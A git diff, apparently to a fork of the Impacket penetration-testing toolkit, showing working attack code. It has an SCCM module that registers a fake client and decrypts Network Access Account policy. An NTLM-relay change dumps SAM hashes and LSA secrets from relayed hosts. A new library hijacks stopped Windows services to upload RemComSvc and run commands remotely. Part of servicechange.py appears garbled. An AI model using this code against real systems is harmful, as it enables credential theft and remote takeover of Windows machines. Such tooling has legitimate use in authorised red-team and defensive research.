SCCM server time to process...") + time.sleep(self.config.sccm_sleep) + + target_fqdn = f"{self.config.sccm_device}.{self.config.sccm_fqdn}" + LOG.info("Requesting NAAPolicy...") + urls = self.sendPolicyRequest(self.config.sccm_device, target_fqdn, uuid, self.config.sccm_device, target_fqdn, uuid) + + LOG.info("Parsing policy...") + + for url in urls: + result = self.requestPolicy(url) + if result.startswith(""): + result = self.requestPolicy(url, uuid, True, True) + decryptedResult = self.parseEncryptedPolicy(result) + Tools.write_to_file(decryptedResult, "naapolicy.xml") + + LOG.info("Decrypted policy dumped to naapolicy.xml") + + + def sendCCMPostRequest(self, data, auth=False): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + if auth: + self.client.request("CCM_POST", "/ccm_system_windowsauth/request", headers=headers, body=data) + r = self.client.getresponse() + content = r.read() + else: + tried = 0 + while True: + if tried < 10: + self.client.request("CCM_POST", "/ccm_system/request", headers=headers, body=data) + r = self.client.getresponse() + content = r.read() + tried += 1 + if content == b'': + LOG.info("Policy request appears to have failed, resending in 5 seconds") + time.sleep(5) + else: + break + else: + LOG.info("Policy request failed 10 times, exiting") + exit() + + multipart_data = decoder.MultipartDecoder(content, r.getheader("Content-Type")) + for part in multipart_data.parts: + if part.headers[b'content-type'] == b'application/octet-stream': + return zlib.decompress(part.content).decode('utf-16') + + + def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender" + } + + if authHeaders == True: + headers["ClientToken"] = "GUID:{};{};2".format( + clientID, + SCCMAttack.now.strftime(SCCMAttack.dateFormat) + ) + headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, SCCMAttack.now.strftime(SCCMAttack.dateFormat)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() + + self.client.request("GET", url, headers=headers) + r = self.client.getresponse() + content = r.read() + if retcontent == True: + return content + else: + return content.decode() + + + def createCertificate(self, writeToTmp=False): + self.key = CryptoTools.generateRSAKey() + self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client") + + if writeToTmp: + with open("/tmp/key.pem", "wb") as f: + f.write(self.key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"), + )) + + with open("/tmp/certificate.pem", "wb") as f: + f.write(self.cert.public_bytes(serialization.Encoding.PEM)) + + + def sendRegistration(self, name, fqname): + b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper() + + embedded = SCCMAttack.registrationRequest.format( + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat), + encryption=b, + signature=b, + client=name, + clientfqdn=fqname + ) + + signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper() + request = Tools.encode_unicode(SCCMAttack.registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii') + + header = SCCMAttack.msgHeader.format( + bodylength=len(request)-2, + client=name, + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat), + sccmserver=self.config.sccm_server + ) + + data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + deflatedData = self.sendCCMPostRequest(data, True) + r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData) + if r != None: + return r[0] + + return None + + def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID): + body = Tools.encode_unicode(SCCMAttack.policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n" + payloadCompressed = zlib.compress(body) + + bodyCompressed = zlib.compress(body) + public_key = CryptoTools.buildMSPublicKeyBlob(self.key) + clientID = f"GUID:{uuid.upper()}" + clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper() + payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper() + + header = SCCMAttack.msgHeaderPolicy.format( + bodylength=len(body)-2, + sccmserver=self.config.sccm_server, + client=name, + publickey=public_key, + clientIDsignature=clientIDSignature, + payloadsignature=payloadSignature, + clientid=uuid, + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat) + ) + + data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + deflatedData = self.sendCCMPostRequest(data) + result = re.search("PolicyCategory=\"NAAConfig\".*?([^]]+)", deflatedData, re.DOTALL + re.MULTILINE) + #r = re.findall("http://(/SMS_MP/.sms_pol?[^\]]+)", deflatedData) + return [result.group(1)] + + def parseEncryptedPolicy(self, result): + # Man.. asn1 suxx! + content, rest = decode(result, asn1Spec=rfc5652.ContentInfo()) + content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) + encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() + iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] + body = content['encryptedContentInfo']['encryptedContent'].asOctets() + + decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body) + policy = decrypted.decode('utf-16') + return policy + + +class Tools: + @staticmethod + def encode_unicode(input): + # Remove the BOM + return input.encode('utf-16')[2:] + + @staticmethod + def write_to_file(input, file): + with open(file, "w") as fd: + fd.write(input) + + +class CryptoTools: + @staticmethod + def createCertificateForKey(key, cname): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, cname), + ]) + cert = x509.CertificateBuilder().subject_name( + subject + ).issuer_name( + issuer + ).public_key( + key.public_key() + ).serial_number( + x509.random_serial_number() + ).not_valid_before( + datetime.datetime.utcnow() - datetime.timedelta(days=2) + ).not_valid_after( + datetime.datetime.utcnow() + datetime.timedelta(days=365) + ).add_extension( + x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, + key_agreement=False, content_commitment=False, data_encipherment=True, + crl_sign=False, encipher_only=False, decipher_only=False), + critical=False, + ).add_extension( + # SMS Signing Certificate (Self-Signed) + x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), + critical=False, + ).sign(key, hashes.SHA256()) + + return cert + + @staticmethod + def generateRSAKey(): + key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + return key + + @staticmethod + def buildMSPublicKeyBlob(key): + # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb + blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" + blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little") + return blob.hex().upper() + + # Signs data using SHA256 and then reverses the byte order as per SCCM + @staticmethod + def sign(key, data): + signature = key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + # Same for now, but hints in code that some sigs need to have the hash type removed + @staticmethod + def signNoHash(key, data): + signature = key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + @staticmethod + def decrypt(key, data): + print(key.decrypt(data, PKCS1v15())) + + @staticmethod + def decrypt3Des(key, encryptedKey, iv, data): + desKey = key.decrypt(encryptedKey, PKCS1v15()) + + cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv)) + decryptor = cipher.decryptor() + return decryptor.update(data) + decryptor.finalize() \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index 1d50a5944c..f7edc815f6 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -157,7 +157,7 @@ def run(self): LOG.error(str(e)) else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes + from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: @@ -197,16 +197,35 @@ def run(self): else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True - samFileName = remoteOps.saveSAM() - samHashes = SAMHashes(samFileName, bootKey, isRemote = True) - samHashes.dump() - samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') - LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + + try: + samFileName = remoteOps.saveSAM() + samHashes = SAMHashes(samFileName, bootKey, isRemote = True) + samHashes.dump() + samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') + LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + except Exception as e: + LOG.error('SAM hashes extraction failed: %s' % str(e)) + + try: + lsaFileName = remoteOps.saveSECURITY() + lsaSecrets = LSASecrets(lsaFileName, bootKey, remoteOps, isRemote=True, history=False) + lsaSecrets.dumpCachedHashes() + lsaSecrets.exportCached(self.__SMBConnection.getRemoteHost()+'_lsaCachedHashes') + LOG.info("Done dumping LSA Cached hashes for host: %s", self.__SMBConnection.getRemoteHost()) + lsaSecrets.dumpSecrets() + lsaSecrets.exportCached(self.__SMBConnection.getRemoteHost()+'_lsaSecrets') + LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) + except Exception as e: + LOG.error('LSA hashes extraction failed: %s' % str(e)) + except Exception as e: LOG.error(str(e)) finally: if samHashes is not None: samHashes.finish() + if lsaSecrets is not None: + lsaSecrets.finish() if remoteOps is not None: remoteOps.finish() diff --git a/impacket/examples/ntlmrelayx/clients/httprelayclient.py b/impacket/examples/ntlmrelayx/clients/httprelayclient.py index b1fbf37435..04d6aaf2c7 100644 --- a/impacket/examples/ntlmrelayx/clients/httprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/httprelayclient.py @@ -107,10 +107,10 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): token = authenticateMessageBlob auth = base64.b64encode(token).decode("ascii") headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)} - if self.query: - self.session.request('GET', self.path + '?' + self.query, headers=headers) + if self.serverConfig.isSCCMAttack: + self.session.request("CCM_POST", self.path, headers=headers) else: - self.session.request('GET', self.path, headers=headers) + self.session.request('GET', self.path,headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 96ae40b3e0..9ea63ed1a4 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -121,6 +121,13 @@ def __init__(self): self.SCCMDPExtensions = None self.SCCMDPFiles = None + # SCCM attack options + self.isSCCMAttack = False + self.sccm_device = None + self.sccm_fqdn = None + self.sccm_server = None + self._sccm_sleep = 5 + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -298,6 +305,15 @@ def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid): def setSCCMAdminToken(self, token): self.sccmAdminToken = token + def setIsSCCMAttack(self, isSCCMAttack): + self.isSCCMAttack = isSCCMAttack + + def setSCCMOptions(self, device, fqdn, server, sleep_time): + self.sccm_device = device + self.sccm_fqdn = fqdn + self.sccm_server = server + self.sccm_sleep = sleep_time + def parse_listening_ports(value): ports = set() for entry in value.split(","): diff --git a/impacket/examples/servicechange.py b/impacket/examples/servicechange.py new file mode 100644 index 0000000000..5f9911fc43 --- /dev/null +++ b/impacket/examples/servicechange.py @@ -0,0 +1,694 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Service Change Helper library - Modify existing Windows services +# Based on SharpNoPSExec logic for service hijacking and restoration +# +# Author: +# Based on SharpNoPSExec by Julio Ureña (PlainText) +# Adapted for Impacket by Assistant +# + +import random +import string +import time +import os +from impacket.dcerpc.v5 import transport, srvs, scmr +from impacket import smb, smb3, LOG +from impacket.smbconnection import SMBConnection +from impacket.smb3structs import FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.examples import remcomsvc + +class ServiceInfo: + """Service information structure""" + def __init__(self): + self.service_name = "" + self.display_name = "" + self.service_type = 0 + self.start_type = 0 + self.error_control = 0 + self.binary_path_name = "" + self.load_order_group = "" + self.tag_id = 0 + self.dependencies = "" + self.start_name = "" + self.service_handle = None + self.current_status = 0 + self.is_suitable = False + self.reason = "" + self.priority = 999 + +class ServiceChanger: + def __init__(self, SMBObject, target_host=""): + """ + Initialize ServiceChanger + + Args: + SMBObject: SMB connection object (SMBConnection, smb.SMB, or smb3.SMB3) + target_host: Target hostname or IP address + """ + self._rpctransport = 0 + self.target_host = target_host + self.connection = None + self.rpcsvc = None + self.share = None + self.uploaded_files = [] + + # Convert SMB object to SMBConnection if needed + if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): + self.connection = SMBConnection(existingConnection=SMBObject) + else: + self.connection = SMBObject + + def openSvcManager(self): + """Open Service Control Manager""" + #LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) + + self._rpctransport = transport.SMBTransport( + self.connection.getRemoteHost(), + self.connection.getRemoteHost(), + filename=r'\svcctl', + smb_connection=self.connection + ) + + self.rpcsvc = self._rpctransport.get_dce_rpc() + self.rpcsvc.connect() + self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) + + try: + resp = scmr.hROpenSCManagerW(self.rpcsvc) + except: + LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) + raise Exception('Unable to open SVCManager') + else: + return resp['lpScHandle'] + + def getServiceInfo(self, service_name, scm_handle): + """Get detailed information about a specific service""" + LOG.debug("Querying service %s" % service_name) + service_info = ServiceInfo() + service_info.service_name = service_name + + try: + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + + config_resp = scmr.hRQueryServiceConfigW(self.rpcsvc, service_handle) + config = config_resp['lpServiceConfig'] + + status_resp = scmr.hRQueryServiceStatus(self.rpcsvc, service_handle) + status = status_resp['lpServiceStatus'] + service_info.service_type = config['dwServiceType'] + service_info.start_type = config['dwStartType'] + service_info.error_control = config['dwErrorControl'] + service_info.binary_path_name = config['lpBinaryPathName'] + service_info.load_order_group = config['lpLoadOrderGroup'] + service_info.tag_id = config['dwTagId'] + service_info.dependencies = config['lpDependencies'] + service_info.start_name = config['lpServiceStartName'] + service_info.display_name = config['lpDisplayName'] + service_info.service_handle = service_handle + service_info.current_status = status['dwCurrentState'] + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + + except Exception as e: + LOG.error("Error getting service info for %s: %s" % (service_name, str(e))) + service_info.reason = "Error querying service: %s" % str(e) + + return service_info + + def isServiceSuitable(self, service_info): + """ + Check if a service is suitable for hijacking based on priority system + Based on successful hijacking patterns: ALG, SNMPTRAP, RpcLocator + + Priority factors (lower number = higher priority): + 1. Service status (stopped = higher priority) + 2. Binary path type (direct exe = higher priority) + 3. Service type (WIN32_OWN_PROCESS = highest priority) + 4. Account type (system accounts = higher priority) + 5. Start type (disabled/manual = higher priority) + 6. Dependencies (no deps = higher priority) + """ + # Service suitability analysis for hijacking + try: + priority = 0 + + if service_info.current_status != scmr.SERVICE_STOPPED: + service_info.reason = "Service is not stopped (current status: %d, expected: %d)" % (service_info.current_status, scmr.SERVICE_STOPPED) + return False + + if not service_info.binary_path_name or not service_info.binary_path_name.strip(): + service_info.reason = "Service has no binary path" + return False + binary_path = service_info.binary_path_name.strip().rstrip('\x00') + if ' ' in binary_path: + exe_name = binary_path.split(' ')[0] + else: + exe_name = binary_path + + exe_name = exe_name.split('\\')[-1].lower() + if exe_name == 'svchost.exe': + priority += 30 + elif exe_name in ['services.exe', 'winlogon.exe', 'csrss.exe', 'lsass.exe', 'wininit.exe']: + priority += 25 + elif exe_name.endswith('.exe'): + priority += 0 + elif exe_name.endswith(('.com', '.bat', '.cmd')): + priority += 2 + else: + priority += 10 + + if service_info.service_type == scmr.SERVICE_WIN32_OWN_PROCESS: + priority += 0 + elif service_info.service_type == scmr.SERVICE_WIN32_SHARE_PROCESS: + priority += 2 + elif service_info.service_type == scmr.SERVICE_KERNEL_DRIVER: + priority += 20 + elif service_info.service_type == scmr.SERVICE_FILE_SYSTEM_DRIVER: + priority += 20 + else: + priority += 5 + + clean_start_name = service_info.start_name.rstrip('\x00').strip().lower() if service_info.start_name else "" + if clean_start_name in ["localsystem", ""]: + priority += 0 + elif clean_start_name in ["nt authority\\localservice", "nt authority\\networkservice"]: + priority += 1 + elif "nt authority" in clean_start_name: + priority += 3 + else: + priority += 8 + + if service_info.start_type == scmr.SERVICE_DISABLED: + priority += 0 + elif service_info.start_type == scmr.SERVICE_DEMAND_START: + priority += 1 + else: + priority += 5 + + if service_info.dependencies and service_info.dependencies.strip(): + priority += 2 + deps_info = "has dependencies" + else: + priority += 0 + deps_info = "no dependencies" + + if exe_name in ['alg.exe', 'snmptrap.exe', 'locator.exe']: + priority -= 5 + + if 'system32' in binary_path.lower(): + priority -= 1 + if priority > 15: + service_info.reason = "Service priority too low (%d > 15): %s, %s, %s" % (priority, exe_name, clean_start_name or "LocalSystem", deps_info) + return False + service_type_map = { + 1: "KERNEL_DRIVER", + 2: "FILE_SYSTEM_DRIVER", + 4: "ADAPTER", + 8: "RECOGNIZER_DRIVER", + 16: "WIN32_OWN_PROCESS", + 32: "WIN32_SHARE_PROCESS", + 256: "INTERACTIVE_PROCESS" + } + service_type_str = service_type_map.get(service_info.service_type, "UNKNOWN") + + service_info.priority = priority + service_info.is_suitable = True + service_info.reason = "Suitable for hijacking (priority: %d, %s, %s, %s, %s)" % (priority, service_type_str, exe_name, clean_start_name or "LocalSystem", deps_info) + return True + + except Exception as e: + service_info.reason = "Error checking service suitability: %s" % str(e) + LOG.error("Error in isServiceSuitable for %s: %s" % (service_info.service_name, str(e))) + return False + + def listServices(self, list_all=False): + """List services and mark suitable ones for hijacking""" + + try: + scm_handle = self.openSvcManager() + services = scmr.hREnumServicesStatusW(self.rpcsvc, scm_handle) + + common_services = ["ssh-agent", "AppVClient", "SensorDataService", "UevAgentService", "WSearch", "COMSysApp", "msiserver", "SgrmBroker", "TieringEngineService", "vds", "VSS", "wmiApSrv", "RSoPProv", "VirtIO-FS Service", "GameInputSvc", "perceptionsimulation", "wbengine", "edgeupdatem", "MicrosoftEdgeElevationService"] + service_list = [] + suitable_count = 0 + + if list_all: + LOG.info("Listing all services on %s....." % self.connection.getRemoteHost()) + for service in services: + service_info = self.getServiceInfo(service['lpServiceName'], scm_handle) + if service_info.service_name: + is_suitable = self.isServiceSuitable(service_info) + if is_suitable: + service_list.append(service_info) + suitable_count += 1 + + else: + LOG.info("Listing most common services on %s....." % self.connection.getRemoteHost()) + for service in common_services: + service_info = self.getServiceInfo(service, scm_handle) + if not service_info: + LOG.debug("No info for service %s", service) + continue + is_suitable = self.isServiceSuitable(service_info) + if is_suitable: + service_list.append(service_info) + suitable_count += 1 + + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + LOG.info("Suitable for hijacking: %d" % suitable_count) + return service_list + + except Exception as e: + LOG.critical("Error listing services: %s" % str(e)) + raise + + def findSuitableService(self, preferred_service=None): + """ + Find a suitable service for hijacking + Priority: 1. Disabled + Stopped + LocalSystem + 2. Manual + Stopped + LocalSystem + """ + LOG.info("Looking for suitable service for hijacking...") + + try: + scm_handle = self.openSvcManager() + services = scmr.hREnumServicesStatusW(self.rpcsvc, scm_handle) + + suitable_services = [] + + for service in services: + service_info = self.getServiceInfo(service['lpServiceName'], scm_handle) + if service_info.service_name and service_info.start_type == scmr.SERVICE_DISABLED: + if self.isServiceSuitable(service_info): + suitable_services.append(service_info) + LOG.info("Found suitable Disabled service: %s" % service_info.service_name) + + if not suitable_services: + for service in services: + service_info = self.getServiceInfo(service['lpServiceName'], scm_handle) + if service_info.service_name and service_info.start_type == scmr.SERVICE_DEMAND_START: + if self.isServiceSuitable(service_info): + suitable_services.append(service_info) + LOG.info("Found suitable Manual service: %s" % service_info.service_name) + + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + if suitable_services: + selected = random.choice(suitable_services) + LOG.info("Selected service for hijacking: %s" % selected.service_name) + return selected + else: + LOG.warning("No suitable services found for hijacking") + return None + + except Exception as e: + LOG.critical("Error finding suitable service: %s" % str(e)) + raise + + def backupServiceConfig(self, service_name): + """Backup original service configuration""" + LOG.info("Backing up configuration for service %s" % service_name) + + try: + scm_handle = self.openSvcManager() + service_info = self.getServiceInfo(service_name, scm_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + if service_info.service_name: + LOG.info("Service backup completed:") + LOG.info(" - Binary Path: %s" % service_info.binary_path_name) + LOG.info(" - Start Type: %d" % service_info.start_type) + LOG.info(" - Start Name: %s" % service_info.start_name) + return service_info + else: + raise Exception("Failed to get service information") + + except Exception as e: + LOG.critical("Error backing up service config: %s" % str(e)) + raise + + def hijackService(self, service_name, payload): + """Hijack service by modifying its configuration to execute payload""" + # Main service hijacking method + LOG.info("Hijacking service %s with payload: %s" % (service_name, payload)) + + try: + scm_handle = self.openSvcManager() + + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + scmr.hRChangeServiceConfigW( + self.rpcsvc, service_handle, + scmr.SERVICE_NO_CHANGE, + scmr.SERVICE_DEMAND_START, + scmr.SERVICE_NO_CHANGE, + payload + '\x00', + scmr.NULL, + scmr.NULL, + scmr.NULL, + 0, + scmr.NULL, + scmr.NULL, + 0, + scmr.NULL + ) + + LOG.debug("Service configuration modified successfully") + #LOG.debug("Starting service to execute payload...") + scmr.hRStartServiceW(self.rpcsvc, service_handle) + + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + return True + + except Exception as e: + LOG.critical("Error hijacking service: %s" % str(e)) + return False + + def startService(self, service_name): + """Start a service""" + LOG.info("Starting service %s..." % service_name) + + try: + scm_handle = self.openSvcManager() + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + + scmr.hRStartServiceW(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + + LOG.info("Service %s started successfully" % service_name) + return True + + except Exception as e: + LOG.error("Error starting service %s: %s" % (service_name, str(e))) + return False + + def stopService(self, service_name): + """Stop a service if it's running""" + try: + scm_handle = self.openSvcManager() + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + + try: + scmr.hRControlService(self.rpcsvc, service_handle, scmr.SERVICE_CONTROL_STOP) + LOG.info("Service %s stopped successfully" % service_name) + except: + LOG.debug("Service %s was not running or already stopped" % service_name) + + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + return True + + except Exception as e: + LOG.warning("Error stopping service %s: %s" % (service_name, str(e))) + return False + + def restoreServiceConfig(self, service_name, original_config): + """Restore original service configuration""" + # Restore service to original state after hijacking + #LOG.info("Restoring original service configuration for %s..." % service_name) + + scm_handle = None + service_handle = None + + try: + LOG.info("Stopping service %s before restoration..." % service_name) + self.stopService(service_name) + + import time + time.sleep(2) + + scm_handle = self.openSvcManager() + if scm_handle == 0: + raise Exception("Failed to open SCM") + + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + LOG.info(f"Restoring service configuration for {service_name}:") + LOG.info(" - Binary Path: %s" % original_config.binary_path_name) + LOG.info(" - Start Type: %d" % original_config.start_type) + LOG.info(" - Start Name: %s" % original_config.start_name) + + scmr.hRChangeServiceConfigW( + self.rpcsvc, service_handle, + scmr.SERVICE_NO_CHANGE, + original_config.start_type, + scmr.SERVICE_NO_CHANGE, + original_config.binary_path_name + '\x00' if original_config.binary_path_name else scmr.NULL, + scmr.NULL, + scmr.NULL, + scmr.NULL, + 0, + original_config.start_name + '\x00' if original_config.start_name else scmr.NULL, + scmr.NULL, + 0, + scmr.NULL + ) + + LOG.info("Service configuration restored successfully") + return True + + except Exception as e: + LOG.critical("Error restoring service config: %s" % str(e)) + return False + finally: + try: + if service_handle: + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + if scm_handle: + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + except: + pass + + def getShares(self): + """Get available shares on target""" + LOG.debug("Requesting shares on %s....." % (self.connection.getRemoteHost())) + try: + self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), + self.connection.getRemoteHost(), + filename=r'\srvsvc', + smb_connection=self.connection) + dce_srvs = self._rpctransport.get_dce_rpc() + dce_srvs.connect() + dce_srvs.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrShareEnum(dce_srvs, 1) + return resp['InfoStruct']['ShareInfo']['Level1'] + except: + LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) + raise + + def findWritableShare(self, shares): + """Find a writable share for file uploads""" + writeableShare = None + for i in shares['Buffer']: + if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: + share = i['shi1_netname'][:-1] + tid = 0 + try: + tid = self.connection.connectTree(share) + self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + except: + LOG.debug('Exception', exc_info=True) + LOG.critical("share '%s' is not writable." % share) + pass + else: + LOG.info('Found writable share %s' % share) + writeableShare = str(share) + break + finally: + if tid != 0: + self.connection.disconnectTree(tid) + return writeableShare + + def uploadFile(self, local_file, remote_filename=None): + """Upload a file to the target""" + if self.share is None: + shares = self.getShares() + self.share = self.findWritableShare(shares) + if self.share is None: + raise Exception("No writable share found") + + if remote_filename is None: + remote_filename = os.path.basename(local_file) + + LOG.info("Uploading file %s to %s" % (local_file, remote_filename)) + + try: + if isinstance(local_file, str): + fh = open(local_file, 'rb') + else: + fh = local_file + + pathname = remote_filename.replace('/', '\\') + self.connection.putFile(self.share, pathname, fh.read) + fh.close() + + self.uploaded_files.append(remote_filename) + LOG.debug("File uploaded successfully") + return remote_filename + + except Exception as e: + LOG.critical("Error uploading file %s: %s" % (local_file, str(e))) + raise + + def cleanupFiles(self): + """Clean up uploaded files""" + if not self.uploaded_files: + return + + LOG.info("Cleaning up uploaded files...") + time.sleep(2) + for filename in self.uploaded_files: + try: + self.connection.deleteFile(self.share, filename) + LOG.info("Deleted file: %s" % filename) + except Exception as e: + LOG.warning("Failed to delete file %s: %s" % (filename, str(e))) + + self.uploaded_files = [] + + def executePayloadViaService(self, service_name, payload, wait_time=5): + """ + Complete payload execution via service hijacking + This method replicates the exact logic of original psexec.py doStuff method + but uses service hijacking instead of service installation + """ + # Complete service hijacking execution workflow + LOG.info("Executing payload via service hijacking: %s" % service_name) + + original_config = None + service_hijacked = False + + try: + original_config = self.backupServiceConfig(service_name) + + LOG.info("Uploading RemComSvc...") + from impacket.examples import serviceinstall + + installService = serviceinstall.ServiceInstall(self.connection, remcomsvc.RemComSvc(), service_name, None) + + remcom_svc = remcomsvc.RemComSvc() + remcom_filename = installService.binaryServiceName + remcom_path = installService.getShare() + "\\" + remcom_filename + + self.uploadFile(remcom_svc, "System32\\" + remcom_filename) + + full_remcom_path = "C:\\Windows\\System32\\" + remcom_filename + if not self.hijackService(service_name, full_remcom_path): + raise Exception("Failed to hijack service") + service_hijacked = True + + LOG.info("Stopping service first...") + self.stopService(service_name) + + LOG.info("Starting service...") + if not self.startService(service_name): + raise Exception("Failed to start service") + + LOG.info("Executing command via RemComSvc...") + + s = self.connection + s.setTimeout(100000) + + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s, tid, r'\RemCom_communicaton', 0x12019f) + from impacket.structure import Structure + + class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid, pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + raise Exception('Pipe not ready, aborting') + + fid = s.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) + return fid + +# Example usage and testing +if __name__ == '__main__': + print("ServiceChanger - Windows Service Hijacking Tool") + print("This is a helper library for hijacking Windows services") + print("Use this class in your own scripts to modify remote services") diff --git a/requirements.txt b/requirements.txt index dff4a2f436..1ce2938049 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,3 +9,4 @@ 